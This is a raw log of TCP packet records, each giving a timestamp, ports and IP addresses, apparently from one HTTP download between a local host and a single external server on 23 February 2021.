Feb 23, 2021 16:55:35.804059982 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.804081917 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.804111004 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.804140091 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.804822922 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.804843903 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.804867983 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.804902077 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.805560112 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.805578947 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.805604935 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.805639029 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.806339025 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.806363106 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.806387901 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.806416988 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.807055950 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.807079077 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.807105064 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.807132006 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.807827950 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.807851076 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.807874918 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.807895899 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.807920933 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.807938099 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.808743000 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.808768988 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.808789015 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.808811903 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.808842897 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.809729099 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.809753895 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.809779882 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.809799910 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.809813023 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.809875011 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.810619116 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.810643911 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.810667992 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.810688019 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.810713053 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.810733080 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.811609030 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.811623096 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.811640024 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.811654091 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.811676979 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.811702013 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.812391043 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.812403917 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.812419891 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.812433958 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.812454939 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.812484980 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.813313961 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.813328028 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.813345909 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.813394070 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.813461065 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.814169884 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.814201117 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.814219952 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.814233065 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.814265013 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.815025091 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.815040112 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.815057039 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.815069914 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.815097094 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.815115929 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.815879107 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.815891981 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.815910101 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.815923929 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.815951109 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.815965891 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.816723108 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.816736937 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.816756964 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.816771984 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.816812038 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.816833019 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.817603111 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.817631960 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.817639112 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.817656994 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.817811012 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.818408966 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.818428993 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.818454027 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.818471909 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.818484068 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.818521976 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.819219112 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.819241047 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.819264889 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.819283962 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.819295883 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.819323063 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.820051908 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.820071936 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.820099115 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.820118904 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.820146084 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.820162058 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.820831060 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.820851088 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.820873976 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.820892096 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.820910931 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.820936918 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.821681023 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.821702003 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.821723938 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.821742058 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.821754932 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.821791887 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.822472095 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.822493076 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.822511911 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.822535038 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.822566986 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.823267937 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.823287964 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.823308945 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.823326111 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.823369026 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.823493004 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.824007034 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.824022055 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.824039936 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.824053049 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.824100971 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.824150085 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.824815989 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.824831009 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.824848890 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.824860096 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.824873924 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.824907064 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.824953079 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.825787067 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.825810909 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.825839043 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.825856924 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.825875044 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.825895071 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.825916052 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.826735973 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.826760054 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.826782942 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.826797962 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.826816082 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.826831102 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.826869965 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.827699900 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.827723980 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.827748060 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.827764034 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.827785969 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.827791929 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.827820063 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.828641891 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.828665018 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.828689098 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.828705072 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.828725100 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.828746080 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.828764915 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.829530001 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.829550028 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.829574108 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.829591036 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.829607964 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.829623938 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.829624891 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.829643011 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.829649925 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.829680920 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.830425024 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.830447912 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.830472946 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.830492973 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.830513000 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.830528975 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.830545902 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.830547094 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.830570936 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.830599070 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.832370043 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.832386017 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.832398891 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.832412004 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.832423925 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.832437038 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.832453012 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.832463980 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.832494974 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.833276987 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.833291054 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.833380938 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.834475994 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.834490061 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.834506035 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.834517002 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.834530115 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.834544897 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.834623098 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.834666014 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.836483955 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.836504936 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.836596012 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.853204966 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.853226900 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.853245020 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.853353977 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.854671001 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.854688883 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.854706049 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.854720116 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.854734898 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.854757071 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.854824066 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.855092049 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.856584072 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.856606960 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.856630087 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.856647968 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.856666088 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.856688976 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.856707096 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.856709003 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.856724977 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.856745958 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.856764078 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.857558012 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.857578039 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.857606888 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.857628107 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.857650042 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.857664108 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.857667923 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.857686996 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.857705116 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.857738018 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.857780933 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.859508038 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.859550953 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.859611034 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.859642982 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.859688997 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.859694958 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.859726906 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.859756947 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.859786987 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.859805107 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.859833956 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.861124992 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.861191034 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.861226082 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.861234903 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.861275911 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.861290932 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.861320972 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.861352921 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.861453056 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.861473083 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.861504078 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.861526012 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.861603975 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.862715006 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.862754107 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.862803936 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.862844944 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.862845898 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.862895012 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.862917900 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.862941980 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.862989902 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.863010883 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.863038063 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.863086939 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.863158941 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.863640070 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.863684893 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.863719940 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.863742113 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.863775969 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.863801956 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.863815069 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.863848925 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.863902092 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.863925934 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.863941908 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.863991022 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.864075899 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.865215063 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.865261078 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.865315914 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.865344048 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.865367889 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.865436077 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.865437984 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.865483999 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.865545988 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.865561962 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.865597010 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.865631104 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.865705013 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.866863966 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.866909981 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.866944075 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.866985083 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.867021084 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.867022991 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.867062092 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.867074013 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.867095947 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.867125988 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.867176056 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.867182970 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.868482113 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.868514061 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.868554115 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.868585110 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.868598938 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.868627071 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.868647099 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.868658066 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.868689060 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.868730068 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.868748903 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.868762970 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.869249105 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.869263887 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.869306087 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.869343996 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.869360924 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.869364023 CET	80	49168	172.67.172.17	192.168.2.22
